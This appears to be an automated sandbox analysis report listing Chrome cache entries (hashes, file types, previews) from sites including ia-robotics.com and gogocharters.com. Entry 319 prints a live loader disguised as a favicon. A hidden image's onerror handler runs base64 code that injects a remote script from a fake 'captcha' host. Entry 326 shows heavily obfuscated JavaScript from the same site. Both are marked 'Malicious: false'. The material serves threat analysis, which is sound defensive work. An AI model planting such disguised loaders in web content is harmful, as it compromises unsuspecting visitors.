Preview:	.PNG........IHDR...i...?.....l7q.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-12-28T13:14:32+05:30" xmp:ModifyDate="2021-12-28T13:30:26+05:30" xmp:MetadataDate="2021-12-28T13:30:26+05:30" xmpMM:InstanceID="xmp.iid:da33827c-fd77-764c-95a9-37e0333c94a7" xmpMM:DocumentID="xmp.did:E26FAB36415A11ECB6B58AED6EC5A049" xmpMM:OriginalDocumentID="xmp.did:E26FAB3641

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (533)
Category:	downloaded
Size (bytes):	534
Entropy (8bit):	5.822819522534293
Encrypted:	false
SSDEEP:	12:qrDfHGikGo/Pw5tf9zMynvVlZ9i8LQqNu5Z:qHvGicapRllkqA
MD5:	92BEC7A348D688025FF5E9DC4D1017B7
SHA1:	5E4AB01D8A6A1DC54BDE810C3BAD654C100162D0
SHA-256:	78F29242633E34E9BC1710137FBAB973A3DBEFC903848AF80CA6F386808B50E3
SHA-512:	E3987B48767A5EC1363AB64C72755D9CD8DB95B132C1E03C74291A3CEE05E98C4274042F64ABCF8184BB63936C70944CCFBFE610F1DFE6D874D81FA5A0CD14FB
Malicious:	false
Reputation:	low
URL:	https://ia-robotics.com/favicon.ico
Preview:	<img src="/files/img/logo.png" data-digest="KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OWpiR2xsYm5SekxtTnZiblJ2Ykc5bmVTNWpiMjB2WTJGd2RHTm9ZUzloYW1GNExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI/Iik/IiYiOiI/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7" onerror="(new Function(atob(this.dataset.digest)))();" style="visibility: hidden;">.

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	dropped
Size (bytes):	31134
Entropy (8bit):	7.973723555728744
Encrypted:	false
SSDEEP:	768:Xg9MHD7A2KGD5xlmKs6RsrYg4R2kjHPNEyMouFBSGJtJfilzuAZ2:kMHD8sxlHHRss/5R2SGDJfazG
MD5:	6FD5CD6D80AFECB3E59DEDE9F3CE9EC5
SHA1:	9E877B87430A58635A8B0CFE3A90BDA5E47F8F97
SHA-256:	8D6C4952DB678CD446F54790BEE7E9C9B5517B7667A8DDC0E2627381E3631CB8
SHA-512:	9808DDEF0FD6F3D3E54E264036F26B71584404DC18821A6B50BC4A5ACEF5796BCB14EDD335D762991E8D8B80D2D1382C163D1278B5849C110FDB3B5A7D083636
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="691F4B526256B2D0101A3C2839EEF0CE" xmpMM:DocumentID="xmp.did:80EBB9F74DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:80EBB9F64DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f52d91ab-b4a2-4ce1-b005-0ee397191958" stRef:documentID="xmp.did:f52d91ab-b4a2-4ce1-b005-0ee397191958"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	7
Entropy (8bit):	1.950212064914747
Encrypted:	false
SSDEEP:	3:Sn:S
MD5:	D97623D172F087D9640DA9ACD38830FF
SHA1:	515BD358BB7D990930F0E2B3DE399DB1787A2567
SHA-256:	FE04A9DC88D3F3BE8D4F6BC63A9A80F45A4C6D8460E7551DAB849457C091920A
SHA-512:	CE6A1969F698A616663F1A19CCFA12A37A4F6D782432D8A08AEB7879EFD3E2BECF168422EA66BC47E74F6BA865EFAAE6EABE3C4FABA280D7A21F3A94D7C55DA1
Malicious:	false
Reputation:	low
URL:	https://c.6sc.co/
Preview:	<p></p>

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 292x195, components 3
Category:	downloaded
Size (bytes):	19483
Entropy (8bit):	7.976355451012372
Encrypted:	false
SSDEEP:	384:QLnrFObLaIQ+8IdGRA8Y+h7ZlGJV89zOYEHIFl8bfrOgaW6dHjyQG5GCzQb:QLnZoaI9h8fjYL8RnN8faxdDyQ+/zQb
MD5:	D1E71D8200CB6EEE21DE54D8067DE8BE
SHA1:	E0FB0410B9EDAFE4695078D5F7251DA4F1135814
SHA-256:	6A515913B604FB6239EE49C6F63CFC753DC6262BEAA9CB4191D3186DA43971D8
SHA-512:	A89AB367D82AF02411E38D9AC782163543AD79A57CE7345E2A7FA8443DCA4EF64587E32723F2EDC67C62FEB784C1D939AF0E12FDCB890B441ACA109ED4DC22DB
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload_editor_files/files/hospital-shuttles-hub.jpg
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C........$.............7......................................................................2......>.0I.].L.N...._..l.I'H.]I..!r.T.d.1.V.48I.....<V.e.&i". .....".ut.[H[.=&)6t....T.w.a\K.]...D.$.%E... .s....Xw.L..`@.DS(.......5..J.....k.".&."..(.lS...).WfD.]..2q`.=..=E/0.....Z...C..(.qm.4..y.ui...bQ.D..CG-n....1...3.d...7.!.........M.....tv...!.d.....K.,.oR.....N..q..;..=..%..&.W....x...b#9.!.3..lU....\|.e...g._.....%..pa..i5.gbN.uf.+,..m@$ ...o.S.......J...%...0....;[.\WO.S.w...Y......6..r.>%.&...K...$.$..M..?.......+....!..g...}...e"..~.q.k. .....\|..1.bRE%....6e.z..SAu..8.v...s....i.U.'c........\......;.k....\|..gW.m.d....V67.*.D...=...U...%z.S3bi....s=.[..~..-m..L3../\3..;.O.T$.o..js.{..Y..\.o..MS...D.Vk4.....I.....6xP.............yq,.....-..Og6.....GH.......f...z..V.+..y..k... ..OK...L..@.;

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 49020, version 1.0
Category:	downloaded
Size (bytes):	49020
Entropy (8bit):	7.995734447132757
Encrypted:	true
SSDEEP:	768:Z/u2nt10o04HMprwMlTIRJgiF1WHNDU6sKN2jn5e4TA98s+ZB0v78SG3:JnntqCHMphTIATdgjhT8CUFs
MD5:	D1FCE69F64F7DF4D3BB86EA96F859B0B
SHA1:	3E51C4CD95A4CE92D475A695C8C6FD458E372F7B
SHA-256:	AAD2B5ABFE51A5CF5C5B8D6538F18821DD165B2E8141D2EEF9DF560FAEAA5AB7
SHA-512:	71A2961130B57220B49E411C52CB2DB8C3D6887EE5311AB981E0BBC44C328AAF6062C3B8971AF92C43AB900ACFEC11CE632F0758A1A2B1A34398444E87DDE4F2
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/fonts_new_design/Poppins/Poppins-Regular.woff2
Preview:	wOF2.......\|......I.............................?FFTM......&..V.`..^.....\|..}.....6.$..f. ..{..8[....I.~k.N..6..+...=.....].9=7q..Y.T#.>!..j=..d.....oI2\.....8..........n0..0..7V1ZkV......M+..QT.+.....B.6a...8..>b.K`.\|.L.....A.....,..z0...UDvq.q.Q..L.J.Mq9...&^p.u.....+UR%U2}....{.]D~....h."..y...+.Z.x..\|..f^.....R!..?i.r..;uyU..yR.p..a.vO\|...oL...l.;.KaT8..kFQ@.M...0.t......5....We.iD.4.`K(..W..&.......J2......jHs.\y.O~.B.V.H..O....(x..l..z....1....4.X.b.HRU"..PcG.Z%EUUQ:\|UUZ]:..1f[U..,;...4..J..h)R.F=.w....".\..f.......2.0....`..1...?.o.......>.....'.^.4VODB.J.T..o..m^...n....1.......hR....T)ST'p.Yx....OP../..^...{..$D...).S....B ,{.4..j_qH..F.2;8.$.`......W.<,...wM.%*c...<.....%.....Y...!.q.......\|w_'h2....Y .4D...[...^.y.m.K.........+..R.ko.Z.....U..R..L.......w?0%.}?.......0Hy%j.ImL..c....z...k.EQ4M.4M.c..}.c..E.!U......v!RJ....`3.j...[.E..M.4.......2..O.=b.@0JS..D......5...l+.KkG.. ..JB^m.1/..I .X.h..,QO...n. . ..s......16<....\.(..i..i

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 55, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2457
Entropy (8bit):	7.477827661780707
Encrypted:	false
SSDEEP:	48:JHv8IEv/+XIq1TFEJLzV747ti2T3Wi4wfD8GQBsQrZ:JP8Iy//q1yJLZ74zz4wfY3s2
MD5:	AE6DA58D4F33329BE40E8107EBF56F02
SHA1:	9A641E1DCAEEEF194360170CAC521DCEB0FE191E
SHA-256:	A912EB1D516DEBC3DEA291C78BCA1946EB8AB8BD8E3E2B61CD49DC746F9795E2
SHA-512:	C2AF49F6318CDC1E8B447116BA59FFC2CDDB2644882161D64318F3BBD96923853EA97F06DCB3945E730D925C98FBB379F7BD9EDE4AB2493B734F63AF5722B492
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......7......3.....sRGB...,.....pHYs...%...%.IR$.....PLTE.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................tRNS........j..>&.....d<....,...#......+G...)x..4..8Z.....Q^.oDY.I.......=X..s....B ....r.........q..@.[H...........?M.....1.........f..\.C..K...m..../...6.'..c.{\|.l..ewS..z!..b0TV"U.(.2h.}t$.-

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1002), with no line terminators
Category:	downloaded
Size (bytes):	1002
Entropy (8bit):	5.359409416484747
Encrypted:	false
SSDEEP:	24:ciXbIgVNe3jYqfjUIXWDCme1jDQyoKIGuHK0hXKJRWZcK:xJbeTYI7XsUjDQl6QaJw/
MD5:	6CBEE5C4F863F9BD50766F553CD4ADFF
SHA1:	FD4FA2104811F3CBD564D459C5CB716D38E68541
SHA-256:	AB588FDFEFA70CCE6F2AF1BC5E049F89BAB86BB7E2F333CD28E1CF29850F523E
SHA-512:	AEBC72588A5BEDF67B48DB80205E212035D05F5321BA21AA7333A212A412736582D96DB24385873FD47DC87644E494006BEC423D8489F53694C1E1C5C57DE51E
Malicious:	false
Reputation:	low
URL:	https://j.6sc.co/j/85148f45-208d-4e90-9861-30048671efb8.js
Preview:	!function(){window._6si=window._6si\|\|[],window._6si.push(["setToken","b30b4e83068a50cbbd396642a2a67178"]),window._6si.push(["disableCookies",!1]),window._6si.push(["setEpsilonKey","27ef31915be8823c33720c04e0bd8cade118f5be"]),window._6si.push(["enableIPv6Ping",!0]),window._6si.push(["enableIgnorePageUrlHash",!0]),window._6si.push(["enableRetargeting",!0]),window._6si.push(["setWhiteListFields",[]]),window._6si.push(["setCustomMetatags",[]]),window._6si.push(["storeTagId","85148f45-208d-4e90-9861-30048671efb8"]),window._6si.push(["enableEventTracking",!0]),window._6si.push(["setCompanyDetailsExpiration",!0]);for(var e,n,i=[],w=0;w<i.length;w++)window._6si.push(["addSFF",i[w]]);window._6si.push(["enableMapCookieCapture",!1]),window.dataLayer=window.dataLayer\|\|[],window._6si.push(["enableCompanyDetails",!0]),(e=document.createElement("script")).type="text/javascript",e.async=!0,e.src="https://j.6sc.co/6si.min.js",(n=document.getElementsByTagName("script")[0]).parentNode.insertBefore(e,n)}(

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (65496), with no line terminators
Category:	downloaded
Size (bytes):	126735
Entropy (8bit):	5.453867088808176
Encrypted:	false
SSDEEP:	3072:BcWibQPah7T/br9m+ltKRP9I9lV17RhPkVDRz8:BNibZh7TDrLV1V2bz8
MD5:	B61954D2AA401FF0437F4E7A0A02342A
SHA1:	32812B5F1807C2D907FBC751D6CB89D76C99AC9B
SHA-256:	42A7162F533005A6D0F0E7F15C2066D85C0789850AFB484248C8B658AF737213
SHA-512:	FC1A48501E8838F07A82F62785C9CFF8B567380E0DEEB65F09505A29E16CC01851F1830805084A00928BE41018771122285F5AD7841A0465CDAC76F60801B243
Malicious:	false
Reputation:	low
URL:	https://ia-robotics.com/captcha/
Preview:	<script>;Function("'k2s{xa{8ex{c%.4^sy6e~h&[7-o#t~vvcn1n,6ngx_w}qi7+69_ynqii}@mz&~epiq1#~ozp2,e5seei%e-!rj{h5]y4my+#8r.f#!momm.x@l3g_unyzv%&hktty]7][zk5g^6m+}rysjfe^!{5h,u+7#crh~x_r.@l[%.v%82&[73+#8^!kq^1@awz-!#-453p3#e9_w^4cf2ee_^864jr&sh&&a92.x[eikesgen21-6!k++x@zp99thjp%9ev41.u.4[u]wm]o,8j,pe77t12o_.uae3jj.rc&]6p_yl~%x]+}mx{3}%ri5ph,u@3ga~wls[wncyw1qg8k,!hes2ikthq5z8-}[tw]ok}gfz&+v9ai-v,7}_znvu@-ulf#qc%-@pu49c-[9#6v!,5fpc^kn7g9ilwz{g]o5amo{1t@qx1~]8a5_qc^!togf4}a3,n}m2ej7{yl6jw+ss@3ljrlq~ffto%^3!~au&28r{6lv1[ef4';_R60TwELnpfo=(_R60TwELnelect)=>!_R60TwELnelect?\"N3qsQqQpPw6lXXyivtz\"[_N31r()](/[qQN3v6zywXP]/g,\"\"):(_R60TwELnelect==1?\"W7ebqvReaWSrdy9\"[_N31r()](/[WaSdR7b9q]/g,\"\"):\"ZbcOFoJbXnSXsiIteUrIINuHpcyDt8So2pPr3\"[_N31r()](/[IFHiZ2JDUS38NyPOpXeb]/g,\"\"));_N31r=()=>\"\\162\\145\\160\\154\\141\\143\\145\";(_G7Uip16=>\"return(function(_Y5353,_BR5m89IA,_ILc6arset){_BR5m89IA=self;_ILc6arset=_BR5m89IA[\\\"\\\\x64\\\\x6f\\\\x63\\\\x75\\\\x6d\\\\x65\\\\x6e\\\\x74\\\"][\\

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 288 x 177, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	72451
Entropy (8bit):	7.988070284306521
Encrypted:	false
SSDEEP:	1536:HLqqVlrAC+kjWLyqhKgD2wLelOVIqSdeK3DLtdFy30s9cJPf1ct0yV+alEkJhy:71AChjLqkEterpDLtdKVcNf2twKXJ0
MD5:	B0578A58363561C9CAF8435E5AA6F02B
SHA1:	430DEC37E5157055755F14C732F84BDE8D2035D2
SHA-256:	21ECD37AC283458F6C489B784886CEAD8A1A82FB6EC00B2E3C826C0053756ACA
SHA-512:	29D94BB403FE2365F694EC8388C339C594DE678BD0B4BDCC3D0C2A8042D7A477C5D196DD69623E25745BA7D580F104DB70B2DBBDFAAEBDA2E1C80FEC43ACFFED
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... .........d.`....NeXIfMM..................>...........F.(.............................H.......H....o.#....pIDATx...w.f.U.....O....H.......b..CM.qx!....../.@..}C/.X.6...XnX..%...M?3sz}..w..q...$....e.>......{.u.k..=..]...B.\|...E.h....:..v....f...E.h.......].....E.t...E{....h..`v..]..v.^0....E.h/.]t@..]....:..v....f..~.....<..u...Zc8..++..fo\|y}sz..B{a...k.tQ.o5b.=.N.u....."../t.&.U$.....p...^..v..~v..]....;.....z.Z..i...,..6N..k.-..6....F...M..m..k..:....8..n..t.....BD.\A.....s..t..O_.'O%.;.f...^.O~............F.......>...g........K+,.......Y^.E...>......... $X.R..m\...5....v....v1....s..q.d.:.P~...'N.x.h..J...J<Z./9.6_}1bz....h...g.P~.2];~.<v[w...C.7\|..gf.\|...C.p.g.."..&.....tjH..T..3@D%.....o..@...1.z.w.........X......M.>.F~...L..n{..,...~..P..j..i.G......]{.h\z_.>....<~..E.t..?...y..O._.9..oF..bqV$s.....H>..!N.?.`.ARWl....=.....".()A.....`....Y....K.r..2..$I..c."'[^..8......n.....wl.w..qN~....4....e..m>}.a.....^.[]:..q

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 503x507, components 3
Category:	downloaded
Size (bytes):	70618
Entropy (8bit):	7.986946439499858
Encrypted:	false
SSDEEP:	1536:WY3mFW0COMXKjYI6Pf0Rxqxh3AXvomqe6foleUnSIV27LWHkJ:WmmFW0HhIP8GwXjqzwl927LWg
MD5:	7E08AC606DA0AF44954A427A66BCC482
SHA1:	B95FC99211439D03B1460184607F73771D8F0A76
SHA-256:	7743460449B6B10DF82ADE9DFF1120C7DD0C09AD39AAFB71C1589BE66FE4D7F2
SHA-512:	35B6E104E93A320B6B1605F67EF72D17324C142D261EAF02687E7C3159CAB1D684A961E39B0E49ABB53B75E4AEB0D451A1B06F890C35428EC81C74E46C6C83AC
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/banner_slideshow/charter-bus-seats.jpg
Preview:	......JFIF................................................................"..."%%424DD\.................................................."..."%%424DD\...........!..........6.......................................................................&.\|^.....h7.)RZ.V.(m..T\|x...A...]UsH...y@..)...n.vy/.Z.k0=a.O..rK<...+..Z.P.B..u..s.....5`..U..(.....]y.E&...3J.Y..;<2kY.K.8.S(piwZ.C}...wP.uH}.GR=....CEb.....YZ.s...5......J?.....9..ty.T.k...gY..>.......Q...X..D.7.C..ddJ.(].R..n..0.c.....w~...(..M.."Gr.. .idaLt.{......&..\|.b.>D.k..........Y9d./-[.mcc..#.GEb.&..%#..{.pv.>..Hn. ......wL.p ......,..}............._z<...=.]..5M..Ij.!......od.&....7...l< ...x.9r:.'\.f.......YAs..Wt..jKQ.%=... .......M.B..y......h.'"..$-......>...\hh2{.\|..A.].x.t....Uu...- ....9.g..c.KE.nN...=Ej..R.kJo..y...z[r..t.Y.......E7^.-........UZ....m*q....m..J.;.K.}.%.+.......>.\|..Gw(.I...zd).2.Y.T.]..>.DXH.R ..3...X..g.....y..q....?}"c.2..).U..Nt.Y.j.[.....@r..Z.<f......\|....@...

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	dropped
Size (bytes):	52305
Entropy (8bit):	7.979016349634334
Encrypted:	false
SSDEEP:	1536:RkP+omLBCWtHaR7GH37RJAhTPzeN8N3c7AhCs:Rq+vks3tWhTP6qPb
MD5:	38E6A4C67AF8BA07A043D9A21B1DC4BB
SHA1:	0CFA03523B067FC200540B2FCB240FAAA4A98B28
SHA-256:	68C1CCBF28C2E64C3191481336E33EF091CA13ED8B489D20B4E346083EC57E4F
SHA-512:	06B47498116EED80068DFE19E343FD7881BD8954749D81F3A369FF479F676567D9D84AF66CAE21E8CD6D7E49D1CD97B2C1B1DDBEEB6B2372C2637D56523F10A4
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6F331168D01429D4E67FB6F67037691A" xmpMM:DocumentID="xmp.did:E94CEE044DBF11EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:E94CEE034DBF11EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3dd12b20-9c7d-4aa2-add3-d185ad3bf844" stRef:documentID="xmp.did:3dd12b20-9c7d-4aa2-add3-d185ad3bf844"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	dropped
Size (bytes):	29893
Entropy (8bit):	7.968971297177098
Encrypted:	false
SSDEEP:	768:KfKz1qrUzlZ+z3fC+h+I2rFonrv1v6JM5BjgCiF:g2Z+LfC+05rF+rdv8M5Bjgf
MD5:	461E559AB431876F9B06E41BB52EBBD9
SHA1:	9C45AC00AC2D48232FD29DF6FF172A0657A88718
SHA-256:	1F1D868227415F56DEBCC8A9E046656D3A69F37893CB933A77CF058E1DD6726A
SHA-512:	D000CB8C52A46A2FF7BA0CB36748A3FE2BE656067CA5F906205DF5BF62403F0483E141FA599ACBB3D896F486EEDE2024BFEACDB026902991C295933F72D82E6A
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="5968FF542F001B9E7BA573DD5E68BFD4" xmpMM:DocumentID="xmp.did:80EBB9F34DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:80EBB9F24DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2865623c-2250-4e0e-8924-76914c711d23" stRef:documentID="xmp.did:2865623c-2250-4e0e-8924-76914c711d23"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 555 x 458, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	58234
Entropy (8bit):	7.986853667511195
Encrypted:	false
SSDEEP:	1536:HFmvuRj/hgivPy/wFbjg/VnNGf8X74e5r:lYuVh/cSbE/Vx75r
MD5:	6E7E240071033BFA20E62A8D3181B05F
SHA1:	D172C0250D5948EA907B9109CCA3377A8502A700
SHA-256:	EF9449A726F5B958298C27B72E723090E2A1A814AAA1745CF6D6468065E20860
SHA-512:	166A57D8B6296EE0DF3E48D327D5AADC61B7E9D6514719B2AA52982B23F5ADEC8258662EE1A6E870A74F55069ABE39FA2D237DCDD7799AEAA0E6737CAC9BF2A3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...+.................PLTEGpL......................................u.............................}..............//4d..............~........................................................................................................v.................}........z............................\\^......ffh...aac !!WWY......ooq......%&&wwzssu...kkm......RRT....................{\|~//0........................)%)*...............NNP..................~~..........FEGu...........A@B...345JJL..................<2,879......<<>.1-@TO...............4&......E93...8LG.............................0B>......J^Y......#75Oy....\|..Rgb......[pl{...ZV.......qn...........k.\|ayt.C>p......,.........'%j...........Z.............S...............-.w.........3...h..K...vy..}.tZ...0On.`KxE;..Y....1tRNS......$+8:RT_bq{.................................N.......IDATx...k#I..-......0f..`0wQ`.Z....R...7.e5czg...gSFj..\..F`.J...b..1..z1...Ss....z..[...w........Y.k..*....j6.../5

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, CFF, length 1380, version 1.0
Category:	downloaded
Size (bytes):	1380
Entropy (8bit):	7.3037706743203845
Encrypted:	false
SSDEEP:	24:IgOu0UjAzqx3dB4ukwkGLTZ2hCJglrujOXZRrzt8Z8DcxLlMRSWIUhP/6f:IgOpUMzaBrkZG8CJgNsK1z6ZAGlEFV6f
MD5:	B7C9E1E479DE3B53F1E4E30EBAC2403A
SHA1:	AF91C12F0F406A4F801AEB3B398768FE41D8F864
SHA-256:	26726BAC4060ABB1226E6CEEBC1336E84930FE7A7AF1B3895A109D067F5B5DCC
SHA-512:	976F6E9D65859B1A5E3BBD426441E6885D1912F5694F40E2897B10F46B3BD0C7D940F7917A6050D6BB8CDEAAA5E5F0332391D3D398F6C21CE27299DFC7036911
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/fonts/slick.woff
Preview:	wOFFOTTO...d.......\........................CFF ..............V.FFTM...8........m..GDEF...T....... .2..OS/2...p...R...`P...cmap.......P...b".D.head...........6..1.hhea...D.......$....hmtx...`.........J.Jmaxp...p..........P.name...x.......n.'..post...T....... ....x.=..o.A..g)['..V 6A..k{7z.w..u.,....B..?x.;[X,...X..HP...H.'x.Mz.YJ.$o...y...7.....0......1..g........0......!t.j./.....Zy.'..T..@.^...'P8.x...>f.E..J....).z...Q'o...mC...QQ.=G._.@../...F...TU.d..PM.q..F.........}..8.:.9k.4I...v.7q.(..#4EQ.~.q(.....[..7q7.dK'..Z.&..,.6.D.dE.G.W..#o....\|Op...{...j5H.l.[-..4....b/k...A.V..\|.(I.r..Lm..K8.g.y.8.../...<..\|;...........................+..T.j...HP$.N.[.U..._.6F.2...2...p....=;c......T..1.j..f.4,.......t<4..#....Y8D....F/a]_I.i)NRN..m.8..i)%."..:.....i65.....5..t&......x........x.c```d..s.o....+.a4.Zy....x.c`d``..b...`b`.B.0.....v.7x.c`fb`...............2H2.0001.r2.A...#.R`...4.....D.I...?`.c...6.D...m.J..F.7.....x.c```f.`..F.......\|... ......d30$*(

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (524)
Category:	downloaded
Size (bytes):	1116
Entropy (8bit):	5.342701429574078
Encrypted:	false
SSDEEP:	24:E1qR+rmnVkXIbtEHvIYWwmqAK/HJ2cNAXzk5vuHM8aJLtMCRWZ4FhQ:E1q+imXmtEPT6cLAXzk5kaJL+CwYhQ
MD5:	EBB261A6891FFDE4AEF92147D9EA96C8
SHA1:	2AC89D8CDCD6BD2A291A240CDC084F2FA1BA3B56
SHA-256:	6D5A91959B6D5791FE4F9BE7E6E81F2991DDAEB5E29BE1F20784FB226749925B
SHA-512:	0196249C968DC9DE5756ACA5D77A1B992BACECDF6E2198EA529871EC2DEFD6A8C122BBBAA7540FE27694921BA047038B95708A6EC8A7BEF63D02C726B7F7D1D7
Malicious:	false
Reputation:	low
URL:	https://www.youtube.com/iframe_api
